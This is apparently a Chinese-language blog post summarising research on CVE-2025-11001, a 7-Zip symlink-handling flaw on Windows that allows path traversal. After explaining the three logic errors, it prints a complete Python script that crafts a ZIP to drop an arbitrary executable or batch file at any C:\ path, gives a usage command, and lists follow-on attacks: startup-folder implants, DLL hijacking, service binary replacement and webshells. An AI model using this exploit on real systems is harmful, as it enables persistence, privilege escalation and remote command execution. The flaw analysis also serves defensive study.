CVE-2025-11001

N0va7
2025-11-01 / 0 评论 / 4 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年11月01日,已超过214天没有更新,若内容或图片失效,请留言反馈。

原文链接

https://pacbypass.github.io/2025/10/16/diffing-7zip-for-cve-2025-11001.html

漏洞概况

该漏洞仅在 Windows 上可用,并且有一个重要警告:只有以管理员权限运行 7-Zip 时,才能成功利用此漏洞。这是因为 7-zip 进程会创建一个符号链接,而这在 Windows 上属于特权操作。

因此,只有当服务帐户使用 7-Zip 时,这种利用才有意义。

漏洞原理

7-Zip 在处理 ZIP 文件中的 Linux 风格符号链接(即内容为路径字符串的小文件,权限位为 0120777)时,试图将其转换为 Windows 符号链接(symlink)或目录联结(junction)

但在此过程中,路径安全性检查存在逻辑缺陷,导致攻击者可以绕过防护,让 7-Zip 在任意位置(如 C:\Windows\System32)创建文件。

技术细节分解(三大问题)

问题一:错误判断“相对路径”

  • 当 ZIP 中的符号链接内容是 Windows 风格绝对路径(如 C:\Users\Alice\Desktop)时,
  • 7-Zip 的解析器 仍按 Linux 规则判断:因为路径不以 / 开头,所以被误判为 “相对路径”isRelative = true)。

关键点:C:\... 在 Linux 视角下不是绝对路径(因为没有 /),所以被当成相对路径!


问题二:路径拼接绕过安全检查

  • 由于被判定为“相对路径”,7-Zip 会将符号链接在 ZIP 中的所在目录拼接到目标路径前。
  • 例如:ZIP 结构为 data/link → C:\Target
  • 实际检查的路径变成:data/linkC:\Target(注意:中间没有路径分隔符!)
  • 而安全函数 IsSafePath() 原本用于阻止绝对路径,但它对这种“畸形拼接路径”误判为安全(因为不以 / 或盘符开头)。

结果:绕过了 IsSafePath 的防护!


问题三:关键安全检查被跳过

  • 7-Zip 后续还有一个更严格的检查,用于验证符号链接目标是否安全:
if (!_ntOptions.SymLinks_AllowDangerous.Val) {
    if (_item.IsDir) {  // ← 只有当条目是“目录”时才执行检查!
        // 检查 linkInfo.linkPath 是否危险
    }
}
  • 但我们的符号链接是一个文件条目(不是目录),所以 _item.IsDir == false整个检查被跳过

最终:危险的 C:\... 路径未被拦截。

漏洞复现

https://github.com/pacbypass/CVE-2025-11001

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

利用方式:

python3 exploity.py -t "D:\Desktop" -o demo.zip --data-file calc.exe

准备好 calc.exe

使用管理员权限运行 7-Zip 进行解压,可以发现桌面位置出现了 calc.exe 程序

利用思路

一旦攻击者能通过该漏洞将任意文件写入系统任意位置(需有写权限),就可以实现多种高危攻击:

1. 自启动项覆盖 / 植入

  • 写入恶意 .exe.bat 到:

    • C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  • 效果:用户下次登录时自动执行恶意代码。

2. 计划任务(Scheduled Task)文件覆盖或植入

  • 虽然 Windows 计划任务主要通过注册表或 XML 配置,但:

    • 可覆盖已有的任务脚本(如 .ps1, .bat
    • 或写入新任务文件到可被任务调度器加载的位置(需配合其他机制)
  • 更常见的是:写入 DLL 到被任务调用的程序目录,实现 DLL 劫持

3. DLL 劫持(DLL Hijacking)

  • 覆盖或植入 DLL 到常用程序目录(如 C:\Program Files\App\
  • 当高权限程序启动时加载恶意 DLL → 权限提升

4. 服务二进制替换

  • 如果目标系统有可写的服务二进制路径(如某些 notepad 记事本),可直接替换 .exe 文件

5. Web 目录写入(若目标为 Web 服务器)

  • 写入 Webshell 到 C:\inetpub\wwwroot\ 等目录
  • 实现远程命令执行
0

评论 (0)

取消